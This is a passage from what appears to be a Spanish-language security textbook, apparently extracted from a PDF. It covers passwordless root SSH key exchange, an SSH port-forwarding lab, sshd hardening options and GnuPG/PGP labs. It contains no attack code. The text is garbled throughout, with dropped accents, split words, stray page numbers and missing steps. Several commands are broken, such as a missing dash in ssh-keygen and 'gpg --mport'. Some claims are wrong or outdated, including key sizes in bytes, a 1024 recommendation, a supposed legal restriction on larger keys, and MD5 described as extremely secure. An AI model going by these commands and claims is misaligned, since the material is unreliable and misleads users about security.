Se deben tener como mnimo 2 PCs: Uno con el IP 192.168.100.55 y el otro con el IP
192.168.100.112
En cada PC se debe editar el archivo /etc/hosts y se debe adicionar la IP y el nombre de cada
maquina
Paso 1:
La llave pblica se debe generar cuando esta no exista o cuando el IP, La direccin MAC o el nombre de la
maquina se haya cambiado.
Entre al primer servidor con el usuario root y posicinese en el directorio /root/.ssh
# ssh-keygen t rsa
Este comando generar llaves pblicas segn el mtodo RSA
Al ejecutarse, pedir informacin necesaria para la configuracin como el directorio donde quedarn las
llaves y la contrasea para generar la clave, No digite contrasea.
Notas:
Paso 2:
La llave pblica se debe generar cuando esta no exista o cuando el IP, La direccin, MAC o el nombre de la
maquina se haya cambiado.
Entre al segundo servidor con el usuario root y y posicinese en el directorio /root/.ssh
# ssh-keygen t rsa
Este comando generar llaves pblicas segn el mtodo RSA
Al ejecutarse, pedir informacin necesaria para la configuracin como el directorio donde quedarn las
llaves y la contrasea para generar la clave, No digite contrasea.
Notas:
Paso 3:
Para que ssh no solicite el password al usuario root de este caso se debe adicionar la llave pblica
/root/.ssh/id_rsa.pub del usuario remoto en el servidor local al final del archivo /root/.ssh/authorized_keys.
Entre al primer servidor con el usuario root
Vaya a la carpeta /root/.ssh
# cd /root/.ssh
382
Copie la llave pblica id_rsa.pub del segundo PC en el primer PC con otro nombre para no destruir la llave
del PC donde estoy posicionado.
# scp IP_del_segundo_PC:/root/.ssh/id_rsa.pub id_rsa.pub.segundopc
Observe el nombre de la llave pblica del primr nodo en el directorio donde estoy posicionado
Nota: Revise que existan dos archivos llamados id_rsa.pub para la llave pblica del primer PC y el archivo
id_rsa.pub.segundopc que identifica la llave pblica del segundo PC.
Adicione la llave pblica del segundo PC al primer PC:
# cat id_rsa.pub.segundopc >> authorized_keys
Paso 4:
Entre al segundo PC con el usuario root
Vaya a la carpeta /root/.ssh
# cd /root/.ssh
Copie la llave pblica id_rsa.pub del primer PC en el segundo PC con otro nombre para no destruir la llave
del PC donde estoy posicionado.
# scp IP_del_primer_PC:/root/.ssh/id_rsa.pub id_rsa.pub.primerpc
Observe el punto final que indica copiarlo en el directorio donde estoy posicionado
Nota: Revise que existan dos archivos llamados id_rsa.pub para la llave pblica del segundo PC y el archivo
id_rsa.pub.primerpc que identifica la llave pblica del primer PC.
Adicione la llave pblica del primer PC al segundo PC:
# cat id_rsa.pub.primerpc >> authorized_keys
Paso 5:
Entre a cada PC y reinicie el servicio ssh con el comando:
# /etc/init.d/ssh restart
En Unixware:
# /etc/rc2.d/S98opensshd restart
Paso 6:
Prueba el comando ssh ip_del_pc y revise que no se pida password pero la primera vez le pedir que digite
yes para crear el archivo know_hosts.
383
8.0
Objetivo:
Se debe crear un tnel entre dos mquinas de tal manera que la mquina 1 redirija las conexiones que le
lleguen al puerto 8080 hacia el puerto 80 de la mquina 2.
Prerrequisitos:
Se deben tener 3 PCs: Uno con Windows e Internet Explorer con el IP 192.168.100.55, este PC se har
pasar por el cliente windows. Un PC llamado maquina1 con IP 192.168.100.222 que ser el gateway y un
servidor o maquina2 con IP 192.168.100.223 que ser el servidor web que no usa SSL.
Paso 1:
En la maquina2 se sube el servicio apache con el comando:
# /etc/init.d/apache start
Para subir el servicio SSH se debe utilizar el comando:
# /etc/init.d/ssh start
Paso 2:
En el nodo maquina1 o servidor SSH gateway se edita el archivo /etc/ssh/ssh_config y se adiciona al final la
variable GatewayPorts yes
Ahora suba el servicio ssh con el comando /etc/init.d/ssh start.
Paso 3:
En el servidor gateway SSH se crea un shell en /etc/init.d/sshgateway.sh con las siguientes instrucciones
que hacen el tnel:
#!/bin/sh
ssh -N -T -C -L
8080:192.168.100.222:80 192.168.100.223
Donde:
-N indica no hacer comandos nicamente generar un tnel
-T indica no crear pseudo terminales asociadas a los procesos
-C Indica comprimir los datos para usar en forma optima el canal
-L Indica hacer reenvo de datos entre puertos e IPs
Paso 4:
Al ejecutar el shell /etc/init.d/sshgateway.sh el comando ssh pedir el password del usuario root que
controla el servidor principal donde reside el servicio SSH.
Para que se ejecute automticamente se hace un enlace al directorio de arranque as:
# ln -s /etc/init.d/sshgateway.sh
/etc/init.d/rc5.d/S99sshgateway.sh
Paso 5:
Desde el cliente Windows pruebe en el explorador digitando el URL https://192.168.100.222:8080
384
Que es equivalente a:
http://192.168.100.222:8080
385
Cuestionamientos
Tambin se quiere que el acceso va SSH para administrar el servidor web no se pueda realizar con
contrasea sino solamente con autenticacin basada en clave pblica.
Genere un par de claves RSA para usarlas en la autenticacin SSH, con la clave privada protegida con la
passphrase cliente, indique donde se debe copiar los archivos generados para permitir la conexin al
sistema como usuario knoppix y qu cambios se debe realizar al archivo de configuracin del servidor SSH
(p.e: /etc/ssh/sshd_config) para que la conexin solamente se pueda realizar con autenticacin de cliente
por clave pblica.
Respuesta:
El usuario knoppix existe en el servidor web.uoc.edu.co y en el cliente remoto, el usuario knoppix hace login
en su sistema linux cliente y se posiciona por defecto en la carpeta /home/knoppix.
Ahora para generar el par de llaves digita:
# ssh-keygen -t rsa
El sistema le propone crear la llave privada en el directorio /home/knoppix/.ssh/id_rsa, de inmediato le pide
dos veces la palabra secreta 'cliente' para la generacin de la llave privada. Adems genera la llave pblica y
muestra el fingerprint como el usuario@dominio de la maquina donde reside el usuario.
Al terminar el comando anterior, se nota que existe la carpeta .ssh y dentro de esta hay dos archivos: id_rsa
para la llave privada y como llave pblica el archivo id_rsa.pub
Por ejemplo esta es la salida de la llave pblica:
ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA3tn1U6TUsxvsuNf5GV9AYk9fP2fPFSQjoewptWevseCIIQ
sw+d0kSsrBl7HpFZTxSV8WVIxvXo9eQ1U4JCGhEbPXk7OylxFyogYGwg7GVMon7ifox68B2/2
2mkbR7lm9/YLmCz50YcI9GNyBJhKZFnyiZOgy7taj7T5vHEtoFJU= knoppix@cortafuegos2
Donde ssh-rsa indica el tipo de cifrado usado. Luego sigue la clave pblica y finalmente el usuario y su
dominio local donde se le genero la llave.
1.
2.
3.
4.
5.
6.
al
servidor
386
remoto
(web.uoc.edu.co)
en
el
archivo
Finalmente se debe reiniciar el servicio ssh para que tome la nueva configuracin:
# /etc/init.d/sshd stop
# /etc/init.d/sshd start
Establezca una conexin SSH utilizando la clave anterior y capture los paquetes de la conexin con el
analizador de paquetes Ethereal. Indique qu paquetes se pueden ver en claro y cuales no.
En la maquina cliente linux se debe lanzar el ethereal:
# ethereal & y se pone a escuchar por la tarjeta de red que deseamos atrapar los paquetes. Por otra
Terminal se lanza el comando cliente para que se conecte al servidor:
# ssh 20.0.0.2, de inmediato el sistema pide el password de la llave privada del sistema remoto. Se le digita
'cliente' y permite continuar la sesin.
Conclusines: Mirando el trafico generado por ethereal se encuentra que se ve en claro solo la negociacin
inicial para el intercambio de llaves, esto aparece como los protocolos: SSH client y SSHv2 Server. No se
muestra informacin en claro cuando se termina el intercambio de llaves y esto aparece como el protocolo
SSHv2 Server Encrypted.
9.0
Es altamente recomendable mantener con suplementos a la fecha el servidor SSH para evitar las
vulnerabilidades de tipo exploit de las versiones antiguas.
9.1 Remediacion
Ademas se debe asegurar que el servior SSH solamente soporte la versin 2, explicitamente se debe editar
el archivo de configuracin /etc/ssh/sshd_config y ajustar las siguientes variables:
Protocol
2
PasswordAuthentication
yes
ChallengeResponseAutehtication
no
GSSAPIAuthentication
no
GSSAPICleanupCredentials
yes
UsePAM
yes
X11Forwarding
yes
UseDNS
no
PermitRootLogin no
PermitEmptyPasswords no
Banner /etc/issue
IgnoreRhosts yes
RhostsAuthentication no
RhostsRSAAuthentication no
HostbasedAuthentication no
LoginGraceTime 1m
(O menos, el defecto es 2 minutos)
SyslogFacility AUTH
(logging con el detalle AUTH)
AllowUsers [lista de usuarios autorizados]
DenyUsers [lista de usuarios no autorizados]
MaxStartups 10 (O menos use 1/3 del total de usuarios remotos)
Nota: MaxStartups se refiere al maximo nmero de conexiones simultneas que an estan por verificar la
autenticacin. Esto ayuda a contrarestar ataques por fuerza bruta.
387
388
Captulo 17
Cifrando Documentos con GNU PG
1.
PGP
PGP es el acrnimo de Pretty Good Privacy. Se trata de un programa para cifrar y descifrar datos el
cual ofrece tres tipos de servicio:
Confidencialidad:
Permite a un usuario, mediante cifrado, garantizar que
destinatario podr leer el mensaje.
o
o
solamente el
Genera la certeza de que el documento original no ha sido modificado puesto que ha sido
firmado. Si se alterara el mensaje la firma no sera vlida.
Se puede constatar o verificar que el mensaje ha sido firmado por una determinada
persona.
389
El paquete PGP es de dominio pblico (existe una versin comercial distribuida por Pretty
Good Privacy, Inc).
PGP es asequible para una gran variedad de plataformas (DOS/Windows, UNIX, Mac, VMS
etc) e independiente del S.O.
Esta basado en algoritmos extremadamente seguros como: RSA para cifrado de claves de
sesin, IDEA y ElGamal para el cifrado del mensaje y MD5, HASH para la generacin de
firmas digitales.
Bsicamente hablando, PGP funciona como un algoritmo del tipo de clave pblica asimtrica. En un
sistema de clave pblica, cada usuario crea un par de claves que consiste en una clave pblica y una
clave privada. Se puede cifrar un mensaje con la clave pblica y descifrarlo con la privada (NO se puede
cifrar y descifrar con la misma clave).
El usuario difunde la clave pblica, ponindola a disposicin de cualquiera que quiera enviarle un
mensaje. Una vez que el mensaje ha sido recibido por el usuario, ste podr descifrarlo con su clave
privada. Es evidente que la clave privada debe ser mantenida en secreto por el propietario.
Puede considerar este esquema como si fuese un buzn con dos llaves, una para abrir y otra para
cerrar. Cualquiera puede introducir un mensaje en el buzn y cerrarlo, pero solamente el propietario
podr abrirlo.
Una gran ventaja de este tipo de esquema criptogrfico es que, al contrario que los sistemas
tradicionales donde la clave de cifrado y descifrado coinciden, no es necesario encontrar un
procedimiento seguro para enviar la clave al recipiente del mensaje.
Tambin permite la opcin de "firmar" un mensaje con una firma digital que nadie, ni siquiera el
receptor, puede falsificar. Esto resulta especialmente til, aunque no se cifre el mensaje en s, porque
acta como certificacin de autenticidad, ya que permite comprobar si el mensaje ha sido alterado
durante la transmisin.
Tambin permite al receptor confirmar que el mensaje ha sido enviado realmente por el remitente.
390
Para cifrar los datos, PGP se emplea un algoritmo de clave simtrica, cuya clave es cifrada con un
algoritmo de clave asimtrica. Por qu esta mezcla? Porque de este modo se combinan las mejores
propiedades de ambos: la seguridad de un algoritmo asimtrico (donde clave pblica y privada son
distintas) con la rapidez y robustez de un algoritmo simtrico (cuya clave es nica y, por tanto,
vulnerable).
Un tercer algoritmo se emplea para firmar documentos: se extrae un conjunto de bits del mensaje
llamado resumen (hash) y se cifra con la clave privada del emisor. As, el sistema de operacin de PGP
(y programas similares) consta de tres subsistemas: cifrado del documento, cifrado de clave simtrico y
firmado del documento.
La implementacin de PGP esta en desuso por las sospechas de puertas traseras y esta tomando mucha
fuerza el uso de GnuPG que se vera mas adelante.
2.
Instalacin y uso
391
392
cd /tmp
bunzip2 gnupg-1.4.2.tar.bz2
tar xvmf gnupg-1.4.2.tar
cd gnupg-1.4.2
./configure
make
make install
2.3.
Comandos comunes
2.3.1
Para empezar a utilizar PGP o GnuPG, debe crear su propio par de llaves la pblica y la privada, para
hacer esto, ejecute el siguiente comando:
# pgp kg
Enseguida, deber elegir el tamao mximo de la llave: 512, 768, 1024, 2048, 4096 bytes.
Entre mayor sea el tamao de la llave, mejor ser el nivel de seguridad obtenido, con el agravante de
una disminucin en la velocidad de encriptacin.
Se recomienda seleccionar 1024 bytes para los negocios en general. Existen llaves de mayor tamao,
pero por cuestiones legales estas solamente las utilizan las fuerzas armadas de EEUU.
En GNUpg el commando seria: # gpg --gen-key
Los tamaos posibles son: (1) DSA and El Gamal y es la opcin por defecto, (2) DSA Sign Only, (3)
RSA Sign only.
La opcin por defecto permite llaves desde 1024 hasta 4096 bytes en la ltima versin. Las opciones
DSA y RSA solo permiten firmar pero no encriptar.
El paso siguiente es definir una identificacin para su clave pblica user ID. Lo ms comn es escribir
su nombre seguido de un comentario y su direccin de correo:
Janneth Vallejo (Algun comentario) <janneth_vallejo@lacositarica.com.co>
En GNUpg: Le preguntar de su nombre, la direccin e-mail y un comentario para generar la cadena del
user ID.
393
Luego de haber definido la identificacin de su llave pblica, deber elegir una contrasea con el fin de
proteger su llave privada. Elija una frase segura que incluya caracteres especiales, letras minsculas y
maysculas.
Finalmente, el programa le pedir que digite letras nmeros o smbolos de forma aleatoria para poder
generar una secuencia aleatoria de bytes que formar las claves. De esta manera, PGP crear las llaves
y se lo notificar con un mensaje.
En PGP las llaves se guardarn en el directorio .pgp en los archivos especiales pubring.pgp (Anillo con
las llaves pblicas) y secring.pgp (Anillo con las llaves privadas).
En GnuPG se guardarn en el directorio .gnupg en los archivos pubring.gpg (Anillo con las llaves
pblicas) y secring.gpg (Anillo con las llaves privadas).
Tanto la identificacin como la contrasea de las llaves pueden ser editadas o modificadas usando el
siguiente comando:
# pgp ke identificador [ anillo ] Es importante que la cadena que forma al identificador vaya entre
comillas dobles.
Por ejemplo pgp ke Armando Carvajal (lacositarica) <acarvaja@lacositarica.com.co>
En GNUpg: # gpg --edit-key acarvaja@lacositarica.com.co
2.3.2
Si usted tiene un archivo carlos.pgp que le envi su amigo carlos y este archivo contiene una llave
pblica y usted quiere adicionarla a uno de sus anillos para poderle enviar archivos a Carlos entonces
usted debe ejecutar el siguiente comando:
#pgp ka carlos.pgp
En GNUpg: # gpg --mport carlos.gpg
De la misma manera, si lo que desea es eliminar una llave entonces utilice el siguiente comando:
#pgp kr identificador [ anillo ]
394
Si desea enviarle su llave pblica a un amigo para que el le enve archivos a usted, lo primero que debe
hacer es extraerla del anillo, esto puede hacerlo por medio del comando:
#pgp --kx identificador armando.pgp
En GNUpg: # gpg --output armando.gpg --export acarvaja@lacositarica.com.co
El archivo armando.pgp armando.gpg no son de tipo ASCII, por lo tanto, si queremos enviarlo por email, debe extraerse en formato ascii de la siguiente manera:
#pgp kxa identificador archivo [anillo] ( a = ASCII )
En GNUpg: # gpg --armor --output armando.asc --export acarvaja@lacositarica.com.co
Con frecuencia sucede que no recuerde que llaves tiene dentro de determinado anillo, este problema lo
resuelve ejecutando:
#pgp kv [ identificador ] [ anillo ]
#pgp kvv [ identificador ] [ anillo ] ( Tambin ver todos los certificados Para cada llave ).
En GNUpg: # gpg --list-keys
395
2.3.3
Firmar un mensaje
Obviamente la autenticidad es una caracterstica muy importante en el campo de la seguridad. PGP permite
el uso de firmas digitales las cuales dan al receptor la capacidad de verificar que el documento no ha sido
modificado y que realmente viene de su destinatario.
Supongamos que queremos enviar el documento Manual.doc a un amigo llamado Carlos Perez firmado con
mi firma secreta.
Como parte del identificador de la llave pblica del amigo Carlos es su nombre, entonces podemos adicionar
solamente el nombre para que pgp incruste en el archivo la llave pblica.
Es importante que primero el seor carlos le haya enviado su llave pblica y que usted la haya adicionado a
su anillo de llaves pblicas segn se explico en el paso anterior (pgp ka).
Un documento debe ser firmado con la llave privada de la siguiente manera:
#pgp s documento [ -u identificador ]
396
La opcin [ -u identificador ] se usa generalmente cuando el usuario tiene varias llaves privadas, si
solamente se tiene una llave no hay necesidad de usarlo.
Siguiendo con el ejemplo, el documento Manual.doc se firmara de la siguiente manera:
#pgp s Manual.doc
Crendose de esta manera un archivo Manual.doc.pgp firmado.
397
Es recomendable firmar con nuestra clave privada las llaves pblicas de las personas con quien compartimos
documentos, pero es obligatorio confirmar el fingerprint de esa llave pblica, para obtener el fingerprint
digite el comando:
# gpg --fingerprint ID o direccion de correo de la llave pblica
Para firmarla con el comando sign se debe editar la llave con el comando:
# gpg --edit-key ID
2.3.4
Encriptar un mensaje
Es importante que primero el seor Carlos le haya enviado su llave pblica o que usted la haya obtenido de
un servidor publico de llaves como pgp.mit.edu segn se explic en el paso anterior.
# pgp e documento identificador
# pgp e Manual.doc carlos
Este comando genera un archivo de nombre Manual.doc.pgp el cual contiene el documento Manual.doc
encriptado de tal manera que solo Carlos podr desencriptarlo con su llave privada, ya que se ha usado su
llave pblica.
En GNUpg: # gpg output Manual.doc.gpg encrypt recipient carlos@tutopia.com Manual.doc
398
2.3.5
Desencriptar un mensaje
# pgp m documento
# pgp m Manuales.pgp
Al desencriptar un mensaje firmado, conservar la firma para envos posteriores.
# pgp d Manuales.pgp
399
2.0
Comando pgp ?
-kg
-ke identificador [anillo]
-ka millave [anillo]
-kr identificador [anillo]
-kx identificador [anillo]
-kxa identificador [anillo]
-kv identificador [anillo]
-kvv identificador [anillo]
-e documento identificador
-ea documento identificador
-eaw documento identificador
-s documento
-sb documento
-m documento
-d
Funcin
Crear un par de llaves.
Edicin de identificacin y contraseas.
Adicionar llaves a un anillo.
Eliminar llaves de un anillo.
Extraer una llave.
Extraer una llave (salida en ASCII).
Ver las llaves contenidas en un anillo.
Ver las llaves y el certificado de cada una de ellas.
Encriptar un documento (Devuelve archivo .pgp).
Encriptar un documento (salida en ASCII).
Encriptar el documento y borrar el original.
Firmar un documento con su llave privada (autenticidad).
Crear un documento que solo contenga su firma.
La salida del documento se hace en el directorio actual.
Desencriptar un mensaje y consevar la firma.
4. Trucos
Evitando problemas entre diferentes plataformas
Frecuentemente se usa PGP para encriptar el correo electrnico, que normalmente es texto.
Un problema con el texto es la representacin que toma en diferentes mquinas: en MS-DOS las lneas
terminan en un retorno de carro y en un avance de lnea, en Macintosh en un retorno de lnea y en Linux
solo con avance de lnea.
Para evitar esta clase de inconvenientes, se recomienda que en el momento de encriptar un documento, se
le haga saber a PGP que este un archivo de texto y no uno binario, y que al descomprimirlo se adapte a las
caractersticas especficas del sistema donde se est ejecutando.
Esto se logra mediante el comando:
400
PGP en shells
Existen algunas opciones que son tiles a la hora de automatizar el trabajo.
Force: Est opcin forza a determinado comando para que se realice, as ante una pregunta de
sobreescritura de un documento o eliminacin de una llave la respuesta ser si.
Otra manera de pasar la contrasea a PGP es especificndola en el momento mismo de ejecutar el comando
de encriptacin:
401
En esta pantalla se muestran los componentes ms usados que se instalan por defecto.
402
Despus de mostrar el sitio en el disco donde se instalara por defecto mostrara la barra de estado de la
instalacin.
Al iniciar el Outlook de Microsoft se vera a mano derecha un llavero con 3 llaves en forma grafica. Al hacer
clic sobre ese icono se podrn generar las llaves o importar desde alguna carpeta.
403
Si deseamos explorar en el disco duro y tomar algn documento para firmarlo o para cifrarlo solo abrimos el
explorador y con el botn derecho aparecen las siguientes opciones:
404
405
6.0
Laboratorio: GnuPG
Objetivo:
Instalar, Configurar, cifrar, descifrar documentos, firmar y leer documentos con GnuPG
Usar dos usuarios en la misma maquina Linux para simular dos usuarios que intercambian
informacin cifrada.
Prerrequisitos:
Se asume que no hay acceso a Internet y que se esta ejecutando un Linux autnomo e
independiente de la maquina tipo LIVECD como Back track, Auditor o Knoppix-std.
cd /tmp
bunzip2 gnupg-1.4.2.tar.bz2
tar xvmf gnupg-1.4.2.tar
cd gnupg-1.4.2
./configure
make
make install
CREACION DE USUARIOS:
Paso 1: Se crea un nuevo usuario llamado knoppix con el comando:
# useradd m knoppix
Se le asigna un password con el comando:
# passwd knoppix
Con la secuencia de teclas CTRL-ALT-F1 se abre otra ventana y se hace login con el usuario knoppix
Nota: Siempre el usuario knoppix estar en la Terminal virtual CTRL-ALT-F1
Paso 3: Se exporta la clave pblica del usuario root para enviarla a usuarios que le deseen enviar
documentos cifrados:
# gpg --export a Armando Carvajal > acarvaja.asc
La opcin a indica que la clave exportada se debe ver en ASCII, se debe digitar parte de la clave
para que no todas las llaves se exporten, el parmetro Armando Carvajal es parte del nombre de
la clave que se desea exportar. El parmetro acarvaja.asc es el nombre del archivo donde quedara
la clave pblica.
406
Paso 4: Ahora se debe enviar la clave pblica a un servidor, pero si no se tiene acceso a Internet no
se puede usar el comando:
# gpg --send-keys --keyserver pgp.mit.edu acarvaja.asc
Es importante indicar el nombre del archivo de lo contrario todas las claves pblicas que tenga el
anillo se enviaran al servidor.
Al no tener acceso a Internet se usara el directorio /tmp que es publico como repositorio de datos, y
se copia el archivo acarvaja.asc al directorio /tmp:
# cp v acarvaja.asc /tmp
Paso 5: Ahora se hacen los mismos pasos para el usuario knoppix:
En la ventana del usuario knoppix se genera el par de claves:
# gpg --gen-key
Paso 6: Se exporta la clave pblica del usuario knoppix para enviarla a usuarios que le deseen
enviar documentos cifrados, por ejemplo hacia acarvaja para hacer este laboratorio que simula dos
usuarios:
# gpg --export a Usuario Knoppix > knoppix.asc
La opcin a indica que la clave exportada se debe ver en ASCII, se debe digitar parte de la clave
para que no todas las llaves se exporten, el parmetro Usuario Knoppix es parte del nombre de la
clave que se desea exportar. El parmetro knoppix.asc es el nombre del archivo donde quedara la
clave pblica.
Paso 7: Ahora se debe enviar la clave pblica a un servidor, pero al no tener acceso a Internet no
podemos usar el comando:
# gpg --send-keys --keyserver pgp.mit.edu knoppix.asc
Es importante indicar el nombre del archivo para que no todas las claves pblicas que tenga el anillo
se enven al servidor.
Al no tener acceso a Internet se usara el directorio /tmp que es publico para todos los usuarios del
servidor, se debe copiar el archivo knoppix al directorio /tmp:
# cp -v knoppix.asc /tmp
Paso 8: Usuario knoppix debe Importar las claves de los usuarios a quienes deseamos enviar
documentos seguros:
El usuario knoppix copia la clave pblica desde el directorio /tmp para importarla al anillo de llaves
# gpg --import /tmp/acarvaja.asc
Al no tener acceso a Internet no se puede usar el comando para importar desde el web:
# gpg --keyserver pgp.mit.edu --recv-key codigo_clave
407
Paso 10: Usuario acarvaja debe Importar las claves de los usuarios a quienes deseamos enviar
documentos seguros: (Debe cambiar de sesin!)
El usuario acarvaja copia la clave pblica desde el directorio /tmp para importarla al anillo de llaves
# gpg --import /tmp/knoppix.asc
Al no tener acceso a Internet no se puede usar el comando para importar desde el web:
# gpg --keyserver pgp.mit.edu --recv-key codigo_clave
408
con nuestra clave privada esa llave pblica para hacerla de confianza. El sistema espera una
respuesta afirmativa para cifrar el texto.
El archivo cifrado es el siguiente:
-----BEGIN PGP MESSAGE----Version: GnuPG v1.4.2 (GNU/Linux)
hQEOA9e2QXwwK8aBEAP+IIo01rrHStGIEzvCQ4Oez3fVskWZl/rlNntccMLTbPHq
wREwBV0m/169I3GqfIoj52EJNnjwHi3bCUOjCsRFQ6ZxmT9t1IgGJLS3UxmI/nYF
GHJfn66/XhvRnnFOcsNixKJFeQ3Fc4QSbwbEpHg1q1R3BBmIvCQ1YymDWc/eOSAE
AMpJxNaNSgyoBeV6sFMiR04eFAv3RR5rWGzSRI4H9208R4WwZO6Z2dMYTwXNewZg
yRhBJhr+P2otcTt4QUoF4G382QVOPnrB+gOS6ti5KxpLelXGlAOmPe3hI9IQbnaQ
q0pILq+Mv5Kk9VpJ41bwr4JA7UpLrqR6zf9Iq5kF7Xg80oUB/mn1nWeWuLp4tift
xsxUT199E8lAbBCFsewjiCQkquJMdXKhNshf8ACfFFZnx3/vdSN3kSI8Pz7dp8vb
VJWoccgBbAhSrqC0HEe2tR9EYDXXl4Y1JwAezQ/F2s1IhjcarmQhaLmT0yjhUJP8
yNL7ipN5B41jeQXhlpBu+uOsqTbYeY8T
=g9KM
-----END PGP MESSAGE-----
Paso 13: El usuario knoppix toma el archivo cifrado del directorio /tmp para simular que le ha
llegado el archivo /tmp/texto.gpg.
# gpg --output texto.asc --decrypt /tmp/texto.gpg
El sistema pide la passphrase del usuario knoppix que se uso cuando se crearon el par de llaves y
genera el archivo en claro que construyo acarvaja basado en la llave pblica de knoppix.
Para leerlo se puede usar el comando:
# less texto.asc
--sign documento.asc
GnuPG pide al usuario knoppix que digite la passphrase de su llave privada para firmar el
documento.
Paso 15: El usuario acarvaja recibe el documento firmado y lo puede leer y descifrar por que tiene
la clave pblica del usuario knoppix. Se importo en un paso anterior al anillo de acarvaja:
# gpg --output documento.asc
/tmp/documento.sig
GnuPG le informa al usuario acarvaja que el mensaje firmado con el ID 6499ADCC no tiene una
firma confiable.
Pare leer el mensaje puede usar el comando:
# less documento.asc
409
Paso 16: El usuario acarvaja revisa el fingerprint de la llave pblica de knoppix, el objetivo es firmar
la llave pblica de knoppix dentro del anillo de acarvaja, para que no vuelva a aparecer ese
mensaje:
# gpg
--fingerprint
knoppix
pub
1024D/6499ADCC 2005-12-27
Key fingerprint = 6FF6 A401 4B63 4C14 BA20 28B1 5E75 E96E 6499 ADCC
uid
Usuario Knoppix (Pruebas uoc.edu) <knoppix@mvaonline.com>
sub 1024g/302BC681 2005-12-27
Y lo firma con el comando:
# gpg --edit-key knoppix
Aparece un prompt command: Al digitar la opcion sign el sistema le pedira que elija una opcion,
tome la default y confirme digitando el caracter y, luego la passphrase, para terminar salga con el
comando quit
El sistema preguntara si desea guardar la modificacin.
Confirme la modificacion.
Ahora el usuario acarvaja lee el documento firmado por Knoppix
# gpg
--output documento.asc
/tmp/documento.sig
Paso 17: Finalmente el usuario acarvaja desea enviar un texto cifrado y firmado al usuario knoppix
Genere un archivo llamado secreto.asc con el texto:
Este es un texto que se le enviara a knoppix y estar cifrado con la llave pblica de knoppix y estar
firmado con la llave privada de acarvaja
Firma: Armando Carvajal
# gpg --armor --encrypt --recipient knoppix --output /tmp/secreto.sig --sign secreto.asc
GnuPG pide la passphrase de la llave privada por que esta firmado y genera el archivo secreto.asc:
Paso 18: El usuario knoppix toma el archivo cifrado y firmado del directorio /tmp para simular que
le ha llegado el archivo /tmp/secreto.sig
# gpg --output secreto.asc --decrypt /tmp/secreto.sig
Observar que no hay un comando especial para leer archivos firmados.
El sistema pide la passphrase del usuario knoppix y genera el archivo en claro que construyo
acarvaja con la llave pblica del usuario knoppix.
Pare leer el mensaje puede usar el comando:
# less secreto.asc
Para firmarlo digite:
410
Cuestionamientos:
Cul es la diferencia entre las versiones 1.4.2 y la 1.2.4 que viene instalada por defecto
respecto de generar las claves?
411
7.0
Objetivo:
Instalar, Configurar, cifrar, descifrar documentos, firmar y leer documentos con GnuPG para
windows
Usar dos usuarios en la misma maquina Windows para simular dos usuarios que intercambian
informacin cifrada.
Creacin de Usuarios
Paso 1: Se crean dos nuevos usuarios llamados Marcela Restrepo y knoppix a quienes se le asignara un
password, por ejemplo sistemas.
Inmediatamente
aplicacin
la
este
disponible, remtase al Men Keys, con el que se podr crear una llave privada, sin embargo, cuando se
instala por primera vez, la aplicacin carga una asistente que facilitara la labor de generar una.
412
La
primera accin del asistente consiste en solicitar el nombre completo del usuario para que sea mucho ms
fcil identificarla de las dems.
De igual
manera solicita una direccin de correo que formar parte de la nueva llave,
413
En seguida y como campo opcional se puede digitar un comentario usado generalmente cuando se crean
varias llaves asociadas a una misma cuenta de correo
continuacin se ingresa el valor de la llave privada con su respectiva confirmacin, en esta instancia se
evala la calidad de informacin utilizada para la nueva llave brindando la opcin de repetirla o de ratificarla.
Por
seguridad la aplicacin permite crear una copia de la clave privada, antes o despus de que sea generada.
414
Finalmente
el
editor
415
de
GnuPG
Nota: Por
ser la ltima
versin GnuPG el algoritmo DSA y Elgamal usan tamaos entre 1024 y 4096 bits, por defecto la crea con un
tamao de 1024 bits.
GnuPG ofrece la posibilidad de editar algunos valores de campos mediante la opcin Edit Private Key del
Men Keys.
Paso
3:
Se
exporta
la
clave creada por el usuario Marcela Restrepo para enviarla a usuarios que le deseen enviar documentos
cifrados, para ello se dirige a la opcin Export Key del Men Keys, y busca la ubicacin donde exportara la
clave pblica a un archivo, BC56D9E4:
416
Al
no
tener acceso
a Internet
se usara el
directorio
seleccionado
que es pblico como repositorio de datos, y se copia el archivo primera clave al directorio /tmp:
El resultado ser un archivo generado, que al visualizarse mediante un block de notas presenta la siguiente
forma.
417
Paso 4: Ahora se debe enviar la clave pblica a un servidor, es importante seleccionar el nombre de la llave
de lo contrario todas las claves pblicas que tenga el anillo se enviaran al servidor.
418
Finalmente,
una
vez
seleccionado
el
la opcin de men
Server / Send keys, inmediatamente aparecer un cuadro de dialogo solicitando confirmacin sobre la
accin a realizar.
Paso
5:
Cambie
al
usuario
Knoppix
repita
y
los
pasos 1 a
4
419
Paso 8: Usuario knoppix debe Importar las claves de los usuarios a quienes deseamos enviar documentos
seguros. Remtase nuevamente al men Keys/ Import Keys una vez se obtenga este cuatro de dialogo se
digita el valor con el que se identifica la llave.
Paso
9:
Finalmente revise el estado del anillo de llaves. El usuario knoppix ve dos llaves la del usuario Marcela
Restrepo y la del mismo knoppix.
Paso 10: Usuario Marcela Restrepo debe Importar las claves de los usuarios a quienes desea enviar
documentos seguros: (Debe cambiar de sesin!)
420
su anillo de llaves
Paso 12: El usuario Marcela Restrepo enviara un texto cifrado al usuario Knoppix que nicamente el usuario
knoppix podr leer por que nicamente el tiene la clave privada, el texto es el siguiente y esta en el archivo
texto.asc, se debe crear este archivo:
421
Este es un texto ultra secreto creado por Marcela Restrepo y que se le enviara al usuario knoppix basados en
la llave pblica de knoppix. Solo debe ser ledo por el usuario knoppix quien debe tener la clave privada con
la que se genero la llave pblica usada por los usuarios que desean enviar informacin cifrada a knoppix.
Firma
ROOT (Marcela Restrepo)
Una vez creado el archivo, se guarda en la carpeta TMP y con el clic derecho del mouse se selecciona la
opcin de la llave amarilla GPGee, en seguida la opcin encripcin o si lo prefiere dirjase a GnuPG for
Windows/GPA/ men de Windows / File Manager, esta opcin abrir a una nueva pantalla que permite
administrar los archivos que se desean encriptar
422
Ahora GnuPG informara que la llave pblica del usuario Knoppix no es confiable, este se debe a que no
hemos firmado con nuestra clave privada esa llave pblica para hacerla de confianza.
El sistema espera
El
archivo
cifrado
es
el
siguiente:
Paso 13: El usuario knoppix toma el archivo cifrado del directorio TMP para simular que le ha llegado el
archivo /TMP/texto.ASC.
El sistema pide la frase del usuario Knoppix que se uso cuando se crearon el par de llaves y genera el
archivo en claro que construyo Marcela Restrepo basado en la llave pblica de Knoppix.
423
Paso 14: El usuario Knoppix enviara un documento firmado para el usuario Marcela Restrepo, el archivo
firmado estar en el directorio /TMP/documento.txt y el archivo plano se llamara documento.asc.
